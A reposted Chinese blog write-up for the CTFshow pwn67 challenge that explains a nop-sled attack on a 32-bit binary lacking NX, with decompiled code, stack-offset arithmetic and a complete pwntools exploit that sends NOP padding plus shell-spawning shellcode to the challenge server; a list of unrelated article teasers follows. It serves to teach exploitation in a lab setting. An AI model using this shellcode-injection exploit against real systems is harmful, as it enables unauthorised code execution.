CTFshow-pwn入门-pwn67(nop sled空操作雪橇)

前言

本人由于今年考研可能更新的特别慢,不能把ctfshow的pwn入门题目的wp一一都写出来了,时间比较紧啊,只能做高数做累的时候做做pwn写写wp了,当然我之后只挑典型意义的题目写wp了,其余的题目就留到12月底考完之后再写了…-_-…

pwn67(nop sled空操作雪橇)

在这里插入图片描述
首先我们先把pwn文件下载下来,托到虚拟机里加上可执行权限,使用checksec命令查看一下文件的保护信息。

chmod +x pwn
checksec pwn

在这里插入图片描述
我们可以看到这是一个32位的程序,并且开启了canary保护,但是呢没有开启NX和PIE,代表还是可以将我们的shellcode写到栈上去执行的。

我们先将文件拖入IDA反编译一下。得到的反汇编代码如下:

// main
// bad sp value at call has been detected, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char *position; // eax
  void (*v5)(void); // [esp+0h] [ebp-1010h] BYREF
  unsigned int seed[1027]; // [esp+4h] [ebp-100Ch] BYREF

  seed[1025] = (unsigned int)&argc;
  seed[1024] = __readgsdword(0x14u);
  setbuf(stdout, 0);
  logo();
  srand((unsigned int)seed);
  Loading();
  acquire_satellites();
  position = query_position();
  printf("We need to load the ctfshow_flag.\nThe current location: %p\n", position);
  printf("What will you do?\n> ");
  fgets((char *)seed, 4096, stdin);
  printf("Where do you start?\n> ");
  __isoc99_scanf((int)"%p", (int)&v5);
  v5();
  return 0;
}
// *query_position
char *query_position()
{
  char v1; // [esp+3h] [ebp-15h] BYREF
  int v2; // [esp+4h] [ebp-14h]
  char *v3; // [esp+8h] [ebp-10h]
  unsigned int v4; // [esp+Ch] [ebp-Ch]

  v4 = __readgsdword(0x14u);
  v2 = rand() % 1337 - 668;
  v3 = &v1 + v2;
  return &v1 + v2;
}

代码的大概逻辑就是先输出一些banner信息,然后输出的会有栈中的地址,从query_position函数可以发现函数返回值是v1的地址加上v2的值,而v1是局部变量,那么它的地址就是栈里的地址,加上v2就代表接收函数返回值的变量position=v1的地址+v2的值(即&v1+v2)。然后程序会让我们输入大小为4096的字符串给seed变量,之后再让我们输入一个地址,将其赋给v5,然后使用v5()从我们输入的这个地址执行这个地址的代码。

由于开启了canary保护,我们的栈溢出就受到了阻碍,一般的canary保护开启,我们可以采用泄露canary的地址来打,但是本题目泄露了栈的地址,而且题目也提示我们是nop sled,所以我们就使用nop sled空操作雪橇来打。

什么是nop sled

nop是一条不做任何操作的单指令,对应的十六进制编码为0x90。这里nop将被用作欺骗因子。通过创建一个大的NOP指令数组并将其放在shellcode之前,如果EIP返回到存储nop sled的任意地址,那么在达到shellcode之前,每执行一条nop指令,EIP都会递增。这就是说只要返回地址被nop sled中的某一地址所重写,EIP就会将sled滑向将正常执行的shellcode。

也就是我们现在栈中的某个位置填入大量nop指令,后边再接上我们的shellcode,然后我们控制程序的执行流从我们nop指令开始执行,那么程序就会一直执行我们之前填入的nop,执行nop之后就是我们的shellcode了,这样程序就成功的被我们pwn掉了。

计算我们填入nop sled的位置

因为程序最后使用的是v5(),v5又是我们输入的地址,执行v5()就相当于从我们输入的地址开始执行。

我们输入的nop指令+shellcode是通过gets函数放到了seed变量中,那我们输入的地址就必须在shellcode之前和第一个nop指令之后。如果我们输入的数据放在了第一个nop指令之前,那我们就无法执行nop指令了;如果我们放在了shellcode之后,那执行的时候,就会从shellcode之后执行,这样就不能完整的执行整个shellcode。
在这里插入图片描述
大致位置在哪已经清楚,那我们如何具体确定这个地址在哪呢?

我们就可以结束main函数泄露出的position这个变量的值,因为这个值是v1的地址+v2的值,并且v2的是为rand()%1337 - 668。rand()是生成一个随机数字,rand()%1337代表生成的这个随机数对1337取模,那么这个值rand()%1337的值就为0~1336。然后再减去668,那么v2的取值就为-668~668。

由于v1是*query_position()函数的局部变量,那么我们的v1就一定在栈上,我们就利用v1的地址来确定我们输进v5的地址是多少。

这里为了清楚,我们得画出执行到*query_position()函数时,栈的布局是怎样的。

这里展示了main函数从开始到执行到*query_position()函数的汇编代码,我们要分析一下栈中的操作是如何变化的。

.text:0804894F 55                            push    ebp
.text:08048950 89 E5                         mov     ebp, esp
.text:08048952 53                            push    ebx
.text:08048953 51                            push    ecx
.text:08048954 81 EC 10 10 00 00             sub     esp, 1010h
.text:0804895A E8 41 FC FF FF                call    __x86_get_pc_thunk_bx
.text:0804895A
.text:0804895F 81 C3 A1 26 00 00             add     ebx, (offset _GLOBAL_OFFSET_TABLE_ - $)
.text:08048965 65 A1 14 00 00 00             mov     eax, large gs:14h
.text:0804896B 89 45 F4                      mov     [ebp+var_C], eax
.text:0804896E 31 C0                         xor     eax, eax
.text:08048970 8B 83 FC FF FF FF             mov     eax, ds:(stdout_ptr - 804B000h)[ebx]
.text:08048976 8B 00                         mov     eax, [eax]
.text:08048978 83 EC 08                      sub     esp, 8
.text:0804897B 6A 00                         push    0                               ; buf
.text:0804897D 50                            push    eax                             ; stream
.text:0804897E E8 0D FB FF FF                call    _setbuf
.text:0804897E
.text:08048983 83 C4 10                      add     esp, 10h
.text:08048986 E8 B8 FE FF FF                call    logo
.text:08048986
.text:0804898B 8D 85 F4 EF FF FF             lea     eax, [ebp+seed]
.text:08048991 83 EC 0C                      sub     esp, 0Ch
.text:08048994 50                            push    eax                             ; seed
.text:08048995 E8 56 FB FF FF                call    _srand
.text:08048995
.text:0804899A 83 C4 10                      add     esp, 10h
.text:0804899D E8 C4 FC FF FF                call    Loading
.text:0804899D
.text:080489A2 E8 2B FD FF FF                call    acquire_satellites
.text:080489A2
.text:080489A7 E8 25 FE FF FF                call    query_position

栈首先是将调用main函数的函数的ebp压到栈顶,然后push了一个ebx和一个ecx,接着由将esp减少了0x1010,此时栈顶为ebp-0x4-0x4-0x1010,32位一个存储单元4字节。然后呢,又有了esp减去了8,push了一个eax和0,这时栈顶位ebp-0x4-0x4-0x1010-0x8-0x4-0x4。之后呢运行过setbuf函数,esp又增加了0x10,此时esp为ebp-0x4-0x4-0x1010-0x8-0x4-0x4+0x10=ebp-0x4-0x4-0x1010。再然后esp又减去了0xc,并且又push了一个eax,那么此时栈顶为ebp-0x4-0x4-0x1010-0xc-0x4。执行完srand函数之后esp又增加了0x10,那么此时的栈顶为ebp-0x4-0x4-0x1010-0xc-0x4+0x10=ebp-0x4-0x4-0x1010。之后调用完Louding函数和acquire_satellites函数就是*query_position函数了。从IDA反编译结果在*query_position函数中就可以看到局部变量相对query_position函数ebp的位置了。

在这里插入图片描述
可以看到v1是在query_position函数ebp-0x15的位置。
那么此时栈的布局图就是这样的:
在这里插入图片描述
我们可以看出来v1距离seed的位置是0x15+0x4+0x4+0x10=0x2d,
我们令random=rand()%1337,v2=rand()%1337-668=random-668,
那么position=&v1+v2=&v1+random-668(random∈(0,1336)),
则&v1=position+668-random,&seed=&v1+0x2d=position+0x2d+668-random,而我们的nop指令+shellcode是写到seed里的,又因为前面说了我们输进v5的地址要在第一个nop指令之后,因为第一个nop指令也就是seed在栈中的位置,所以我们输进v5的地址应该是&seed加上某个数值,那我们就可以将position+0x2d+668输进v5,因为position+0x2d+668=&seed+random,由于我们seed大小是0x1000=4096,而random是0~1336,所以可以放心加。
在这里插入图片描述
因为输进v5的地址要在shellcode之前,那么我们的nop指令数就要大于=random,random∈(0,1336),那我们就将nop指令数设置为1336。这样我们就有payload以及输进v5的地址。

payload为1336*nop + shellcode
地址为:position + 0x2d + 668

编写exp

from pwn import *
context.arch = "i386"
#context.log_level = "debug"

io = process("./pwn")
io = remote("pwn.challenge.ctf.show","28144")
io.recvuntil("current location: ")
# 接收position
addr = eval(io.recvuntil("\n",drop=True))
print hex(addr)
# \x90为nop指令
payload = "\x90" * 1336 + asm(shellcraft.sh())
io.recvuntil("> ")
io.sendline(payload)
# 输进v5的地址
shell_addr = addr + 0x2d + 668
io.recvuntil("> ")
io.sendline(hex(shell_addr))
io.interactive()

在这里插入图片描述
发现ctfshow_flag,直接cat读取!
在这里插入图片描述
成功拿到flag!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/49745.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

基于OpenCV solvePnP函数估计头部姿势

人脸识别 文章目录 人脸识别一、姿势估计概述1、概述2、姿态估计3、在数学上表示相机运动4、姿势估计需要什么5、姿势估计算法6、Levenberg-Marquardt 优化 二、solvePnP函数1、函数原型2、参数详解 三、OpenCV源码1、源码路径 四、效果图像示例参考链接 一、姿势估计概述 1、…

寄存器分配:图着色算法

寄存器分配:图着色算法 背景活跃分析寄存器冲突图图着色算法溢出 背景 在编译器的中间表示中,一般会设定虚拟寄存器有无限多个(方便优化),而真实的物理寄存器是有限的,因而编译器后端在将中间表示翻译成目…

centos7安装mysql数据库详细教程及常见问题解决

mysql数据库详细安装步骤 1.在root身份下输入执行命令: yum -y update 2.检查是否已经安装MySQL,输入以下命令并执行: mysql -v 如出现-bash: mysql: command not found 则说明没有安装mysql 也可以输入rpm -qa | grep -i mysql 查看是否已…

mac下安装vue cli脚手架并搭建一个简易项目

目录 1、确定本电脑下node和npm版本是否为项目所需版本。 2、下载vue脚手架 3、创建项目 1、下载node。 如果有node,打开终端,输入node -v和npm -v , 确保node和npm的版本,(这里可以根据自己的需求去选择,如果对最新版本的内容有…

python 源码中 PyId_stdout 如何定义的

python 源代码中遇到一个变量名 PyId_stdout,搜不到在哪里定义的,如下只能搜到引用的位置(python3.8.10): 找了半天发现是用宏来构造的声明语句: // filepath: Include/cpython/object.h typedef struct …

Gradle build 失败后提示.lock文件,解决办法

在Gradle build失败之后时,有时候强制关闭AndroidStudio,再次打开build时,会提示各种.lock 文件问题,删除了一个还有下一个,而且路径不一样。 一般情况下是这两个文件夹下的lockfile影响继续build %GRADLE_HOME%/ca…

目标检测任务中常用的数据集格式(voc、coco、yolo)

一、Pascal VOC VOC数据集(Annotation的格式是xmI) Pascal VOC数据集是目标检测的常用的大规模数据集之一,从05年到12年都会举办比赛,比赛任务task: 分类Classification目标检测Object Detection语义分割Class Segmentation实例分割Object…

基于java+swing+mysql图书管理系统v8.0

基于javaswingmysql图书管理系统v8.0 一、系统介绍二、功能展示1.登陆及主页2.图书类别添加3.图书类别维护4.图书添加5.图书维护 三、系统实现1.BookManageMainFrame.java 四、其它1.其他系统实现 五、获取源码 一、系统介绍 该系统实现了用户登陆、图书类别管理(图书类别添加…

yolov5 onnx模型 转为 rknn模型

1、转换为rknn模型环境搭建 onnx模型需要转换为rknn模型才能在rv1126开发板上运行,所以需要先搭建转换环境 模型转换工具 模型转换相关文件下载: 网盘下载链接:百度网盘 请输入提取码 提取码:teuc 将其移动到虚拟机中&#xf…

基本排序算法

目录 一,插入排序 二,希尔排序 三,选择排序 四,冒泡排序 五,快排 5.1 Hoare法 5.2 挖坑法 5.3 指针法 5.4 非递归写法 六,归并排序 6.1 递归 6.2 非递归 一,插入排序 基本思想&…

CorelDraw怎么做立体字效果?CorelDraw制作漂亮的3d立体字教程

1、打开软件CorelDRAW 2019,用文本工具写上我们所需要的大标题。建议字体选用比较粗的适合做标题的字体。 2、给字填充颜色,此时填充的颜色就是以后立体字正面的颜色。我填充了红色,并加上了灰色的描边。 3、选中文本,单击界面左侧…

superset为何无法上传excel,csv等外部文件

superset为何无法上传excel,csv等外部文件 这是由于没有打开数据库的上传外部文件的权限 1.打开数据库连接设置,选择Allow file uploads to database 2.发现这里的上传链接都可以使用

c++ 类

类的引入 c 语言的结构体只能定义变量 但是 c的结构体除了定义变量之外,还可以定义函数。 感受感受: #define _CRT_SECURE_NO_WARNINGS 1//我们声明一个结构体 struct Stack {// c可以把函数写在结构体中//叫成员函数:// 如下://c的写法&am…

股票回购不积极,遭分析师看空,汽车之家财务前景黯淡

来源:猛兽财经 作者:猛兽财经 第一季度财报后股价表现不佳 汽车之家(ATHM)于2023年5月11日公布了2023年第一季度业财报绩。 猛兽财经通过查询财报得知,汽车之家第一季度的实际营收为2.21亿美元,正常每股收…

uniapp实现预约时间选择弹窗组件

做了个组件&#xff0c;实现出当日预约时间组件&#xff0c;效果图如下 废话不多说&#xff0c;直接上代码&#xff0c;代码简单&#xff0c;参数自己任意改 <template><view class"inventory"><u-popup :show"show" :round"10"…

开源快速开发平台:做好数据管理,实现流程化办公!

做好数据管理&#xff0c;可以提升企业的办公协作效率&#xff0c;实现数字化转型。开源快速开发平台是深受企业喜爱的低代码开发平台&#xff0c;拥有多项典型功能&#xff0c;是可以打造自主可控快速开发平台&#xff0c;实现一对一框架定制的软件平台。在快节奏的社会中&…

Docker的安装与部署

Docker 基本概念介绍 通俗理解&#xff1a;镜像是类&#xff0c;容器是对象实例 仓库 应用商店、镜像 下载的应用安装程序、容器 应用程序 镜像(Image) 这里面保存了应用和需要的依赖环境 为什么需要多个镜像&#xff1f;当开发、构建和运行容器化应用程序时&#xff0c;我们…

redis集群设置

先下载redis数据库可以在一台机器上设置redis集群高可用 cd /etc/redis/ mkdir -p redis-cluster/redis600{1..6} for i in {1..6} do cp /opt/redis-5.0.7/redis.conf /etc/redis/redis-cluster/redis600$i cp /opt/redis-5.0.7/src/redis-cli /opt/redis-5.0.7/src/redis-s…

二叉搜索树的本质

引言 打算写写树形数据结构&#xff1a;二叉查找树、红黑树、跳表和 B 树。这些数据结构都是为了解决同一个基本问题&#xff1a;如何快速地对一个大集合执行增删改查。 本篇是第一篇&#xff0c;讲讲搜索树的基础&#xff1a;二叉搜索树。 基本问题 如何在一千万个手机号中…

UniSSOView 任意命令执行复现

免责声明 技术文章仅供参考,任何个人和组织使用网络应当遵守宪法法律,遵守公共秩序,尊重社会公德,不得利用网络从事危害国家安全、荣誉和利益,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使…